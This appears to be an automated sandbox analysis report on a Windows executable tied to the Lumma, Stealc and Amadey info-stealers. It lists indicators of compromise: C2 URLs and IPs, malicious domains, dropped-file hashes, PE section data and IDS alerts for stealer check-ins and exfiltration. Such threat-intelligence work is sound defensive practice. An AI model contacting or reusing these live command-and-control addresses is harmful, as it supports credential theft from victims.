	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.206	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/c4becf79229cb002.php
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pancakedipyps.click	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.209.202
	J18uCKmoAw.exe	Get hash	malicious	LummaC	Browse	172.67.209.202
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.23.76
mindhandru.buzz	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.11.101
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.23.76 104.21.11.101
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.23.76 104.21.11.101
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.23.76 104.21.11.101

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	540672
Entropy (8bit):	7.614709628313703
Encrypted:	false
SSDEEP:	12288:huB9du8NOZx84E5YoShCwrp1OkwWFewdYHMUzN4r52ki:i9du88Zx8VAwBkewVUckki
MD5:	9AB250B0DC1D156E2D123D277EB4D132
SHA1:	3B434FF78208C10F570DFE686455FD3094F3DD48
SHA-256:	49BFA0B1C3553208E59B6B881A58C94BB4AA3D09E51C3F510F207B7B24675864
SHA-512:	A30FB204B556B0DECD7FAB56A44E62356C7102BC8146B2DFD88E6545DEA7574E043A3254035B7514EE0C686A726B8F5BA99BCD91E8C2C7F39C105E2724080EF0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: i8Vwc7iOaG.exe, Detection: malicious, Browse Filename: 0Pm0sadcCP.exe, Detection: malicious, Browse Filename: cMTqzvmx9u.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...WZig..........".................R.............@.......................................@.................................dH..<...............................p....................................................J..l............................text...+........................... ..`.rdata..\|...........................@..@.data....%...`.......J..............@....tls.................`..............@....reloc..p............b..............@..B.bss................................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	540672
Entropy (8bit):	7.614709628313703
Encrypted:	false
SSDEEP:	12288:huB9du8NOZx84E5YoShCwrp1OkwWFewdYHMUzN4r52ki:i9du88Zx8VAwBkewVUckki
MD5:	9AB250B0DC1D156E2D123D277EB4D132
SHA1:	3B434FF78208C10F570DFE686455FD3094F3DD48
SHA-256:	49BFA0B1C3553208E59B6B881A58C94BB4AA3D09E51C3F510F207B7B24675864
SHA-512:	A30FB204B556B0DECD7FAB56A44E62356C7102BC8146B2DFD88E6545DEA7574E043A3254035B7514EE0C686A726B8F5BA99BCD91E8C2C7F39C105E2724080EF0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: i8Vwc7iOaG.exe, Detection: malicious, Browse Filename: 0Pm0sadcCP.exe, Detection: malicious, Browse Filename: cMTqzvmx9u.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...WZig..........".................R.............@.......................................@.................................dH..<...............................p....................................................J..l............................text...+........................... ..`.rdata..\|...........................@..@.data....%...`.......J..............@....tls.................`..............@....reloc..p............b..............@..B.bss................................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe

Download File

Process:	C:\Users\user\Desktop\vVJvxAfBDM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: LIWYEYWSOj.exe, Detection: malicious, Browse Filename: 8WRONDszv4.exe, Detection: malicious, Browse Filename: Idau8QuYa3.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

Download File

Process:	C:\Users\user\Desktop\vVJvxAfBDM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	5.580961603443907
Encrypted:	false
SSDEEP:	98304:wYP8Zc0iQNurF33SihYA66Y2hiUgRR3qTWWSgjE:wYP8Zc0iQNurF3Iyg+W
MD5:	17D940E3012D0A3589F9DCB08CB8AACB
SHA1:	C173FB724ED8484C8E369FA75FE55C583652CA0B
SHA-256:	A8BB33F2E7863A4F50AF391645B42E1C401D58B91C017104215D222EEF02AD70
SHA-512:	A3FD59B9B53B966401BA000A1FBE8EEF6C964420BBC123BB32B525E8C5D34199F217C62E28C14A8A1B981688FC88DCF4C13CF03EE2E02DA7AA5DFAEFACE93569
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........P...........@..........................@P.....t.P...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...frhnetpr.@+...$..4+...$.............@...tbiteucn......P.......O.............@....taggant.0....P.."....O.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3575737913884756
Encrypted:	false
SSDEEP:	6:TXflN0VzUEZ+lX1CGdKUe6tDsBZWVny0lt8ut0:TfoQ1CGAFnv8Vqut0
MD5:	85E89C576ACA5B017D9F40F678FCAF2A
SHA1:	A0A8B6B75D1D34AE4A7218AC5FD0AB1803D438FB
SHA-256:	C5F36D263CB32ECAF4A8B0A3C184A5A173ADA0B4C7E289555CB0DFDE6D595E8D
SHA-512:	9DBEE3398494A23A77AD6EC86EF732B3DCDD1F25D82E37FC6354EEB132550B596F2D4007706EAD07A06748DB6EDE39C17B4BFA71E6BCB86DDCF2394FE3509637
Malicious:	false
Preview:	....D_J...<I.\|NG.`$F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.t.o.t.t.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........T.O.T.T.I.-.P.C.\.t.o.t.t.i...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.906890595608518
Encrypted:	false
SSDEEP:	3:SXhRi75n:SC5
MD5:	3A33AF4BC7DC9699EE324B91553C2B46
SHA1:	4CCE2BF1011CA006FAAB23506A349173ACC40434
SHA-256:	226D20C16ED4D8DDDFD00870E83E3B6EEDEDB86704A7BF43B5826B71D61500AE
SHA-512:	960194C8B60C086520D1A76B94F52BA88AC2DDEC76A18B2D7ABF758FFFF138E9EDD23E62D4375A34072B42FBA51C6D186554B1AA71D60835EF1E18BEB8873B1D
Malicious:	false
Preview:	1.29548Enjoy!..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948534918069086
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vVJvxAfBDM.exe
File size:	1'880'576 bytes
MD5:	b66c35386662acd2cbfe2f6518d0698b
SHA1:	ff6ab5c12ca8755c9e7e4912b56b7eae5ac12a8b
SHA256:	f4ae790d6b19724d993ea18dc395b1df8901146424255976f712027b18e30803
SHA512:	dabc1ea039ff46b9515c22497b86564bc613490dead5c5afbf2bb55e3df08592cd4f2e135f0c8494564637292f06cabf7b7dd16de3f043dc00e234dd0fdd2d78
SSDEEP:	49152:kW8y6FYYwLlV8mUcNpIbFxqwpavuNMAc:kW8y6u5LVZpcXAurc
TLSH:	EA95333B5F9BA229EF161E31595076038FC4BE5F4D39AAB98F78D12109CB78150CEE18
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................@J...........@..........................pJ.....z.....@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA938F6371Ah
seto byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FA938F65715h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	508b92992fbbc161db46bfdb04e6d084	False	0.9996170343137255	data	7.979904826318583	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2ac000	0x200	3b6228402a912726434ffe4e930bd577	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lgwdmqcm	0x301000	0x1a2000	0x1a1200	6538a3abeb1145c9eb5eec9336b9df59	False	0.9944777541579263	data	7.953633090086165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pdakjiel	0x4a3000	0x1000	0x400	833d118ad735ea875d97395dcd9b5e13	False	0.6923828125	data	5.541826529208146	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a4000	0x3000	0x2200	f26642e273dc395593a4bc25faeeccad	False	0.06744025735294118	DOS executable (COM)	0.6574440158971525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T09:02:16.380558+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49712	104.21.11.101	443	TCP
2024-12-27T09:02:17.128209+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.11	49712	104.21.11.101	443	TCP
2024-12-27T09:02:17.128209+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49712	104.21.11.101	443	TCP
2024-12-27T09:02:18.481823+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49717	104.21.11.101	443	TCP
2024-12-27T09:02:19.263374+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.11	49717	104.21.11.101	443	TCP
2024-12-27T09:02:19.263374+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49717	104.21.11.101	443	TCP
2024-12-27T09:02:21.077627+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49723	104.21.11.101	443	TCP
2024-12-27T09:02:21.935363+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.11	49723	104.21.11.101	443	TCP
2024-12-27T09:02:23.320242+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49729	104.21.11.101	443	TCP
2024-12-27T09:02:25.618056+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49735	104.21.11.101	443	TCP
2024-12-27T09:02:28.127970+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49741	104.21.11.101	443	TCP
2024-12-27T09:02:30.667115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49748	104.21.11.101	443	TCP
2024-12-27T09:02:34.500708+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49762	104.21.11.101	443	TCP
2024-12-27T09:02:35.267041+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.11	49762	104.21.11.101	443	TCP
2024-12-27T09:02:50.143855+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.11	49793	185.215.113.206	80	TCP
